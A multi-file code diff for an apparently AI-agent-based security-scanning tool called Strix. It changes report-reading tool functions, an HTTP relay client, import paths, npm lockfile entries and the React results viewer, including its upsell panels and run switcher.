await _run_report_reader(
|
||||
_do_list_reports,
|
||||
severity=severity,
|
||||
finding_class=finding_class,
|
||||
target=target,
|
||||
search=search,
|
||||
include_details=include_details,
|
||||
caller_agent_id=caller_agent_id,
|
||||
),
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
)
|
||||
|
||||
|
||||
@function_tool(timeout=30)
|
||||
async def get_report(ctx: RunContextWrapper, report_id: str) -> str:
|
||||
"""Fetch one vulnerability report by its id (e.g. ``vuln-0001``).
|
||||
|
||||
Returns the full report body — description, impact, technical analysis,
|
||||
PoC, evidence, remediation, CVSS breakdown, and any ``code_locations``.
|
||||
Use ``list_reports`` first to find ids; this is the cheap way to read a
|
||||
single finding in full without pulling every body.
|
||||
|
||||
Read-only.
|
||||
|
||||
Args:
|
||||
report_id: Report id from ``list_reports`` or a
|
||||
``create_vulnerability_report`` / ``create_dependency_report``
|
||||
response (format ``vuln-NNNN``).
|
||||
"""
|
||||
caller_agent_id, _ = _caller_identity(ctx)
|
||||
return json.dumps(
|
||||
await _run_report_reader(_do_get_report, report_id, caller_agent_id),
|
||||
ensure_ascii=False,
|
||||
default=str,
|
||||
)
|
||||
|
||||
@@ -6,7 +6,7 @@ directly from the run's on-disk files. No cloud dependency, no file picker.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from strix.interface.viewer.server import serve
|
||||
from strix.viewer.server import serve
|
||||
|
||||
|
||||
__all__ = ["serve"]
|
||||
@@ -15,12 +15,12 @@ import base64
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config.loader import load_settings
|
||||
|
||||
|
||||
@@ -147,17 +147,21 @@ def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int
|
||||
map, not raised.
|
||||
"""
|
||||
url = f"{_app_url()}{path}"
|
||||
body = json.dumps(payload).encode("utf-8")
|
||||
request = urllib.request.Request( # noqa: S310 - fixed https relay URL
|
||||
url,
|
||||
data=body,
|
||||
headers={"Content-Type": "application/json", "Accept": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
response = requests.post(
|
||||
url,
|
||||
json=payload,
|
||||
headers={"Accept": "application/json"},
|
||||
timeout=timeout,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310
|
||||
return response.status, _parse_body(response.read())
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, _parse_body(exc.read())
|
||||
except (urllib.error.URLError, TimeoutError, OSError) as exc:
|
||||
logger.warning("relay request to %s failed: %s", path, exc)
|
||||
raise RelayError("unavailable") from exc
|
||||
return response.status_code, _parse_body(response.content)
|
||||
|
||||
|
||||
def _parse_body(raw: bytes) -> dict[str, Any]:
|
||||
@@ -203,26 +207,6 @@ def otp_verify(email: str, code: str) -> dict[str, Any]:
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
def feedback_submit(email: str, message: str) -> None:
|
||||
"""Relay a feedback message + email to Strix. No verification is required;
|
||||
the email is taken as given. Raises RelayError on failure."""
|
||||
status, data = _post_json(
|
||||
"/api/oss/feedback",
|
||||
{"email": email, "message": message},
|
||||
timeout=_OTP_TIMEOUT,
|
||||
)
|
||||
if status == 200:
|
||||
return
|
||||
if status == 429:
|
||||
raise RelayError("rate_limited")
|
||||
if status == 400:
|
||||
code = data.get("error")
|
||||
if code in ("invalid_email", "invalid_message"):
|
||||
raise RelayError(str(code))
|
||||
raise RelayError("invalid_message")
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
def report_send(
|
||||
token: str,
|
||||
pdf_bytes: bytes,
|
||||
@@ -257,7 +241,6 @@ def report_send(
|
||||
__all__ = [
|
||||
"AUTH_PATH",
|
||||
"RelayError",
|
||||
"feedback_submit",
|
||||
"forget",
|
||||
"is_verified",
|
||||
"otp_start",
|
||||
@@ -16,8 +16,8 @@ from strix.core.paths import (
|
||||
run_record_path,
|
||||
runs_base_dir,
|
||||
)
|
||||
from strix.interface.viewer.server import authorized_url, bundle_is_built, serve
|
||||
from strix.interface.viewer.transcript import read_run_summary
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
from strix.viewer.transcript import read_run_summary
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -58,7 +58,7 @@ def run_view(argv: list[str]) -> None:
|
||||
if not bundle_is_built():
|
||||
console.print(
|
||||
"[bold red]Viewer UI is not built.[/]\n"
|
||||
"Build it with: [cyan]cd strix/interface/viewer/frontend && npm ci && npm run build[/]"
|
||||
"Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]"
|
||||
)
|
||||
raise SystemExit(1)
|
||||
|
||||
Generated
+63
-10
@@ -16,7 +16,6 @@
|
||||
"lucide-react": "^0.563.0",
|
||||
"react": "^19.2.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"react-icons": "^5.7.0",
|
||||
"react-markdown": "^10.1.0",
|
||||
"remark-gfm": "^4.0.1",
|
||||
"tailwind-merge": "^3.4.0"
|
||||
@@ -920,6 +919,9 @@
|
||||
"arm"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -934,6 +936,9 @@
|
||||
"arm"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -948,6 +953,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -962,6 +970,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -976,6 +987,9 @@
|
||||
"loong64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -990,6 +1004,9 @@
|
||||
"loong64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1004,6 +1021,9 @@
|
||||
"ppc64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1018,6 +1038,9 @@
|
||||
"ppc64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1032,6 +1055,9 @@
|
||||
"riscv64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1046,6 +1072,9 @@
|
||||
"riscv64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1060,6 +1089,9 @@
|
||||
"s390x"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1074,6 +1106,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1088,6 +1123,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1311,6 +1349,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1328,6 +1369,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1345,6 +1389,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -1362,6 +1409,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MIT",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -2493,6 +2543,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MPL-2.0",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -2514,6 +2567,9 @@
|
||||
"arm64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MPL-2.0",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -2535,6 +2591,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"glibc"
|
||||
],
|
||||
"license": "MPL-2.0",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -2556,6 +2615,9 @@
|
||||
"x64"
|
||||
],
|
||||
"dev": true,
|
||||
"libc": [
|
||||
"musl"
|
||||
],
|
||||
"license": "MPL-2.0",
|
||||
"optional": true,
|
||||
"os": [
|
||||
@@ -3633,15 +3695,6 @@
|
||||
"react": "^19.2.7"
|
||||
}
|
||||
},
|
||||
"node_modules/react-icons": {
|
||||
"version": "5.7.0",
|
||||
"resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.7.0.tgz",
|
||||
"integrity": "sha512-LBLy340Rzqy6+/yVhZKT3B/QpP1BZaesGqasf09HPOBzRarcDIFH0WwXlXQfE7q7ipxK4MSiC5DIBWURCny6fw==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"react": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/react-markdown": {
|
||||
"version": "10.1.0",
|
||||
"resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-10.1.0.tgz",
|
||||
@@ -17,7 +17,6 @@
|
||||
"lucide-react": "^0.563.0",
|
||||
"react": "^19.2.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"react-icons": "^5.7.0",
|
||||
"react-markdown": "^10.1.0",
|
||||
"remark-gfm": "^4.0.1",
|
||||
"tailwind-merge": "^3.4.0"
|
||||
|
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 3.7 KiB |
@@ -2,10 +2,14 @@ import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import {
|
||||
ArrowLeft,
|
||||
AlertCircle,
|
||||
Bot,
|
||||
Waypoints,
|
||||
Mail,
|
||||
ChevronDown,
|
||||
Wrench,
|
||||
FileCheck2,
|
||||
CalendarClock,
|
||||
Radar,
|
||||
GitPullRequest,
|
||||
Rocket,
|
||||
ArrowUpRight,
|
||||
History,
|
||||
@@ -41,10 +45,11 @@ import PastRunsView from "@/components/PastRunsView";
|
||||
import EmailReportView from "@/components/EmailReportView";
|
||||
import { RunDetails } from "@/components/RunDetails";
|
||||
import { TrustToast } from "@/components/TrustToast";
|
||||
import FeedbackView from "@/components/FeedbackView";
|
||||
import { ProInlineCta } from "@/components/ProCta";
|
||||
import FeatureDetail from "@/components/FeatureDetail";
|
||||
import { ProTile, ProInlineCta, type ProItem } from "@/components/ProCta";
|
||||
import { FEATURES } from "@/lib/pro-features";
|
||||
|
||||
export type View = "overview" | "issues" | "agents" | "history" | "email" | "feedback";
|
||||
export type View = "overview" | "issues" | "agents" | "history" | "feature" | "email";
|
||||
|
||||
const TRUST_BANNER =
|
||||
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix.";
|
||||
@@ -52,12 +57,25 @@ const TRUST_BANNER =
|
||||
const SEVERITY_ORDER: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
|
||||
const POLL_MS = 500;
|
||||
|
||||
// Curated inline CTAs. Continuous-coverage row on Overview (the restyled upsell
|
||||
// tiles), plus the recommendations pairing.
|
||||
const RECOMMENDATION_CTAS: ProItem[] = [
|
||||
{ title: "One-click autofix + open a fix PR", desc: "Fix it for you and open a PR, retested.", slug: "autofix", icon: Wrench },
|
||||
{ title: "Export SOC 2 / ISO 27001 report", desc: "Share an auditor-ready report with your team.", slug: "compliance", icon: FileCheck2 },
|
||||
];
|
||||
const COVERAGE_CTAS: ProItem[] = [
|
||||
{ title: "Scheduled pentesting", desc: "Continuous coverage for your whole org.", slug: "scheduled", icon: CalendarClock },
|
||||
{ title: "Attack surface monitoring", desc: "Continuous coverage for your whole org.", slug: "asm", icon: Radar },
|
||||
{ title: "PR reviews", desc: "Pentest every pull request your team opens.", slug: "pr_reviews", icon: GitPullRequest },
|
||||
];
|
||||
|
||||
export default function App() {
|
||||
const [activeRun, setActiveRun] = useState<string | null>(null);
|
||||
const [run, setRun] = useState<LoadedRun | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [selectedId, setSelectedId] = useState<string | null>(null);
|
||||
const [view, setView] = useState<View>("overview");
|
||||
const [activeFeature, setActiveFeature] = useState<string | null>(null);
|
||||
const [auth, setAuth] = useState<AuthStatus | null>(null);
|
||||
const [runs, setRuns] = useState<RunsPayload | null>(null);
|
||||
const [emailPurpose, setEmailPurpose] = useState<"report" | "verify">("report");
|
||||
@@ -231,6 +249,12 @@ export default function App() {
|
||||
await refreshRuns();
|
||||
}, [refreshAuth, refreshRuns]);
|
||||
|
||||
const selectFeature = useCallback((slug: string) => {
|
||||
trackCta(slug, "sidebar_nav");
|
||||
setActiveFeature(slug);
|
||||
userSetView("feature");
|
||||
}, [userSetView]);
|
||||
|
||||
const onForget = useCallback(async () => {
|
||||
await forgetAuth();
|
||||
await refreshAuth();
|
||||
@@ -242,13 +266,11 @@ export default function App() {
|
||||
<Sidebar
|
||||
view={view}
|
||||
onSelectView={(v) => {
|
||||
// Clicking a sidebar view always lands on that section's top level,
|
||||
// so leaving a specific issue's detail view and clicking "Issues"
|
||||
// returns to the full findings list.
|
||||
setSelectedId(null);
|
||||
if (v === "history") openHistory();
|
||||
else userSetView(v);
|
||||
}}
|
||||
activeFeature={activeFeature}
|
||||
onSelectFeature={selectFeature}
|
||||
issuesCount={run?.vulnerabilities.length ?? 0}
|
||||
agentCount={agentCount}
|
||||
runCount={runs?.count ?? 0}
|
||||
@@ -263,7 +285,7 @@ export default function App() {
|
||||
<div className="flex-1 min-w-0">
|
||||
{/* Top bar */}
|
||||
<div className="border-b border-[#222]">
|
||||
<div className="max-w-[88rem] mx-auto px-3 sm:px-6 py-4 flex items-center gap-1.5">
|
||||
<div className="max-w-[72rem] mx-auto px-6 py-4 flex items-center gap-1.5">
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
@@ -275,6 +297,7 @@ export default function App() {
|
||||
<img src="./logo.png" alt="Strix" className="w-10 h-8 object-cover" />
|
||||
<div className="text-base text-white font-medium tracking-tight">Strix</div>
|
||||
</a>
|
||||
<span className="text-xs text-[#666]">Local results</span>
|
||||
{run && <LiveIndicator finished={run.finished} />}
|
||||
<div className="ml-auto flex items-center gap-3">
|
||||
{verified && runs && !runs.locked && runs.runs.length > 0 && (
|
||||
@@ -299,20 +322,14 @@ export default function App() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="max-w-[88rem] mx-auto px-3 sm:px-6 py-8 sm:py-12 space-y-6">
|
||||
{error && !run && view !== "history" && view !== "email" && (
|
||||
<div className="max-w-[72rem] mx-auto px-6 py-8 space-y-6">
|
||||
{error && !run && view !== "history" && view !== "email" && view !== "feature" && (
|
||||
<div className="rounded-lg px-4 py-3 flex gap-3 items-start border border-red-500/30 bg-red-500/5">
|
||||
<AlertCircle className="w-5 h-5 flex-shrink-0 mt-0.5 text-red-400" aria-hidden="true" />
|
||||
<p className="text-sm text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Keyed wrapper: re-mounts on every view / finding / run change so the
|
||||
page-in transition replays. */}
|
||||
<div
|
||||
key={`${activeRun ?? "launched"}:${view}:${selectedId ?? ""}`}
|
||||
className="animate-page-in space-y-6"
|
||||
>
|
||||
{view === "email" ? (
|
||||
<EmailReportView
|
||||
activeRun={activeRun}
|
||||
@@ -325,11 +342,8 @@ export default function App() {
|
||||
}}
|
||||
onExit={(dest) => setView(dest === "history" ? "history" : "overview")}
|
||||
/>
|
||||
) : view === "feedback" ? (
|
||||
<FeedbackView
|
||||
defaultEmail={auth?.email ?? null}
|
||||
onExit={(dest) => setView(dest)}
|
||||
/>
|
||||
) : view === "feature" && activeFeature && FEATURES[activeFeature] ? (
|
||||
<FeatureDetail feature={FEATURES[activeFeature]} />
|
||||
) : view === "history" ? (
|
||||
<div className="space-y-4">
|
||||
<div className="flex items-center gap-2">
|
||||
@@ -355,7 +369,7 @@ export default function App() {
|
||||
{/* Tab strip: shown on small screens where the sidebar is hidden. */}
|
||||
<div className="flex gap-5 border-b border-[#2a2a2a] lg:hidden">
|
||||
<TabButton active={view === "overview"} onClick={() => userSetView("overview")}>
|
||||
Pentest Overview
|
||||
Overview
|
||||
</TabButton>
|
||||
<TabButton active={view === "issues"} onClick={() => userSetView("issues")}>
|
||||
Issues{run.vulnerabilities.length > 0 ? ` (${run.vulnerabilities.length})` : ""}
|
||||
@@ -398,7 +412,6 @@ export default function App() {
|
||||
)}
|
||||
</>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<TrustToast message={TRUST_BANNER} />
|
||||
@@ -425,37 +438,33 @@ function RunSwitcher({
|
||||
<button
|
||||
onClick={() => setOpen((o) => !o)}
|
||||
onBlur={() => setTimeout(() => setOpen(false), 150)}
|
||||
aria-label="Switch pentest"
|
||||
className="flex items-center gap-2 rounded-lg border border-[#3a3a3a] bg-[rgba(255,255,255,0.05)] px-3 py-2 text-sm text-white transition-colors hover:border-[#555] hover:bg-[rgba(255,255,255,0.09)]"
|
||||
className="flex items-center gap-1.5 rounded-lg px-2.5 py-1.5 text-xs text-[#aaa] transition-colors hover:text-white"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
>
|
||||
<History className="h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
|
||||
<span className="flex-shrink-0 text-[#888]">Pentest</span>
|
||||
<span className="max-w-[260px] truncate font-medium">{current}</span>
|
||||
<ChevronDown className="h-4 w-4 flex-shrink-0 text-[#aaa]" aria-hidden="true" />
|
||||
<History className="w-3.5 h-3.5" aria-hidden="true" />
|
||||
<span className="max-w-[160px] truncate">{current}</span>
|
||||
<ChevronDown className="w-3.5 h-3.5" aria-hidden="true" />
|
||||
</button>
|
||||
{open && (
|
||||
<div
|
||||
className="absolute right-0 z-50 mt-2 max-h-96 w-96 overflow-y-auto rounded-xl py-1.5 shadow-2xl"
|
||||
style={{ border: "1px solid #3a3a3a", background: "#0a0a0a" }}
|
||||
className="absolute right-0 z-50 mt-1.5 max-h-80 w-64 overflow-y-auto rounded-lg py-1 shadow-xl"
|
||||
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
|
||||
>
|
||||
<div className="border-b border-[#222] px-3 py-2 text-[11px] font-semibold uppercase tracking-wide text-[#666]">
|
||||
Switch pentest
|
||||
</div>
|
||||
{runs.runs.map((r) => {
|
||||
const active = r.name === activeRun;
|
||||
return (
|
||||
<button
|
||||
key={r.name}
|
||||
onMouseDown={() => onSelect(r.name)}
|
||||
className={`flex w-full items-center gap-2 px-3 py-2.5 text-left text-sm transition-colors hover:bg-[rgba(255,255,255,0.06)] ${
|
||||
active ? "bg-[rgba(255,255,255,0.04)] text-white" : "text-[#aaa]"
|
||||
className={`flex w-full items-center gap-2 px-3 py-2 text-left text-xs transition-colors hover:bg-[rgba(255,255,255,0.06)] ${
|
||||
active ? "text-white" : "text-[#aaa]"
|
||||
}`}
|
||||
>
|
||||
<span className="min-w-0 flex-1">
|
||||
<span className="block truncate font-medium">{runTitle(r.target, r.name)}</span>
|
||||
{r.target && <span className="block truncate font-mono text-xs text-[#666]">{r.target}</span>}
|
||||
<span className="block truncate">{runTitle(r.target, r.name)}</span>
|
||||
{r.target && <span className="block truncate font-mono text-[#666]">{r.target}</span>}
|
||||
</span>
|
||||
{active && <span className="h-2 w-2 flex-shrink-0 rounded-full bg-emerald-400" />}
|
||||
{active && <span className="h-1.5 w-1.5 flex-shrink-0 rounded-full bg-emerald-400" />}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
@@ -499,7 +508,7 @@ function SummaryHeader({ summary }: { summary: ParsedRunSummary }) {
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-semibold text-white">
|
||||
{runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Pentest results")}
|
||||
{runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Scan results")}
|
||||
</h1>
|
||||
<div className="mt-1 flex flex-wrap items-center gap-x-3 gap-y-1 text-sm text-[#888]">
|
||||
{summary.targets.length > 0 && (
|
||||
@@ -538,7 +547,7 @@ function FindingsList({
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
|
||||
{finished ? "No findings in this run." : "No findings yet. The pentest is still running…"}
|
||||
{finished ? "No findings in this run." : "No findings yet. The scan is still running…"}
|
||||
</div>
|
||||
{finished && (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
@@ -564,7 +573,7 @@ function FindingsList({
|
||||
<button
|
||||
key={v.id}
|
||||
onClick={() => onSelect(v.id)}
|
||||
className="animate-card-in cursor-pointer w-full text-left rounded-lg border border-[#222] hover:border-[#444] bg-[rgba(255,255,255,0.02)] px-4 py-3 transition-colors flex items-center gap-3"
|
||||
className="cursor-pointer w-full text-left rounded-lg border border-[#222] hover:border-[#444] bg-[rgba(255,255,255,0.02)] px-4 py-3 transition-colors flex items-center gap-3"
|
||||
>
|
||||
<span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${getSeverityDot(v.severity)}`} aria-hidden="true" />
|
||||
<span className="flex-1 min-w-0">
|
||||
@@ -627,7 +636,7 @@ function EmailReportCta({ onOpenEmail }: { onOpenEmail: () => void }) {
|
||||
</p>
|
||||
</div>
|
||||
<span className="flex-shrink-0 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity group-hover:opacity-90">
|
||||
Export report to PDF
|
||||
Email report
|
||||
</span>
|
||||
</div>
|
||||
</button>
|
||||
@@ -664,32 +673,26 @@ function OverviewTab({
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div className="animate-card-in">
|
||||
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
|
||||
</div>
|
||||
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
|
||||
|
||||
{total > 0 && (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<IssueSeveritySummary findings={{ total, ...counts }} />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Primary CTA: the one primary on Overview. Hidden until the run is
|
||||
finished, since a live scan would only email a partial report. */}
|
||||
{finished && (
|
||||
<div className="animate-card-in">
|
||||
<EmailReportCta onOpenEmail={onOpenEmail} />
|
||||
</div>
|
||||
)}
|
||||
{finished && <EmailReportCta onOpenEmail={onOpenEmail} />}
|
||||
|
||||
{sections.length > 0 ? (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
|
||||
{sections.map((s) => (
|
||||
<ContentSection key={s.title} title={s.title} content={s.content} />
|
||||
))}
|
||||
</div>
|
||||
) : reportMarkdown ? (
|
||||
<div className="animate-card-in rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<ContentSection content={dedupeHeadings(reportMarkdown)} />
|
||||
</div>
|
||||
) : (
|
||||
@@ -698,6 +701,22 @@ function OverviewTab({
|
||||
)
|
||||
)}
|
||||
|
||||
{/* Near Recommendations: act on the fixes. */}
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
|
||||
{RECOMMENDATION_CTAS.map((item) => (
|
||||
<ProTile key={item.slug} item={item} surface="overview" />
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Continuous coverage for your org (restyled upsell tiles). */}
|
||||
<div>
|
||||
<p className="mb-2 text-sm font-semibold text-white">Continuous coverage for your org</p>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
{COVERAGE_CTAS.map((item) => (
|
||||
<ProTile key={item.slug} item={item} surface="overview" />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -727,7 +746,8 @@ function TabButton({
|
||||
function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
|
||||
const { agents, events } = run.transcript;
|
||||
const graphAgents = useMemo(() => buildGraphAgents(agents, events), [agents, events]);
|
||||
// Clicking a graph node opens the agent's transcript in a modal; no node selected means no modal.
|
||||
// Clicking a graph node opens the agent's transcript in a modal (matching the
|
||||
// cloud app); no node selected means no modal.
|
||||
const [selectedId, setSelectedId] = useState<string | null>(null);
|
||||
const selectedAgent = selectedId ? (agents.find((a) => a.id === selectedId) ?? null) : null;
|
||||
|
||||
@@ -738,7 +758,7 @@ function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
|
||||
<div className="space-y-5">
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<div className="flex items-center gap-2">
|
||||
<Bot className="w-4 h-4 text-[#888]" aria-hidden="true" />
|
||||
<Waypoints className="w-4 h-4 text-[#888]" aria-hidden="true" />
|
||||
<h2 className="text-sm font-semibold text-white">Agent graph</h2>
|
||||
<span className="text-xs text-[#666]">
|
||||
{agents.length} agent{agents.length === 1 ? "" : "s"}
|
||||
@@ -764,12 +784,12 @@ function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
|
||||
|
||||
{/* Re-run always routes to Strix Cloud. */}
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<p className="text-sm font-semibold text-white">Run this pentest with more depth</p>
|
||||
<p className="mt-0.5 text-xs text-[#666]">Re-run this pentest on managed infra in the cloud.</p>
|
||||
<p className="text-sm font-semibold text-white">Run this scan with more depth</p>
|
||||
<p className="mt-0.5 text-xs text-[#666]">Re-run this scan on managed infra in the cloud.</p>
|
||||
<div className="mt-3 flex flex-wrap gap-2.5">
|
||||
<ProInlineCta
|
||||
label="Re-run in Strix Pro with more depth"
|
||||
desc="Run this pentest on managed infra with more depth."
|
||||
label="Re-run in Strix Cloud with more depth"
|
||||
desc="Run this scan on managed infra with more depth."
|
||||
slug="live_scan"
|
||||
surface="agents"
|
||||
icon={Rocket}
|
||||
@@ -777,13 +797,14 @@ function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<AgentDetailModal
|
||||
open={selectedAgent !== null}
|
||||
agent={selectedAgent}
|
||||
events={events}
|
||||
steerable={steerable}
|
||||
onClose={() => setSelectedId(null)}
|
||||
/>
|
||||
{selectedAgent && (
|
||||
<AgentDetailModal
|
||||
agent={selectedAgent}
|
||||
events={events}
|
||||
steerable={steerable}
|
||||
onClose={() => setSelectedId(null)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
+9
-5
@@ -180,7 +180,7 @@ export default function EmailReportView({
|
||||
const confirmationEmail = sentTo || auth?.email || email.trim();
|
||||
|
||||
return (
|
||||
<div className="mx-auto max-w-xl space-y-4">
|
||||
<div className="mx-auto max-w-md space-y-4">
|
||||
<button
|
||||
onClick={() => onExit(verifyOnly ? "history" : "overview")}
|
||||
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
|
||||
@@ -192,7 +192,7 @@ export default function EmailReportView({
|
||||
<div className="flex items-center gap-2">
|
||||
<Mail className="h-5 w-5 text-[#888]" aria-hidden="true" />
|
||||
<h1 className="text-2xl font-semibold text-white">
|
||||
{verifyOnly ? "Verify your email" : "Export report to PDF"}
|
||||
{verifyOnly ? "Verify your email" : "Email report"}
|
||||
</h1>
|
||||
</div>
|
||||
|
||||
@@ -225,13 +225,16 @@ export default function EmailReportView({
|
||||
<div className="flex items-start gap-2.5">
|
||||
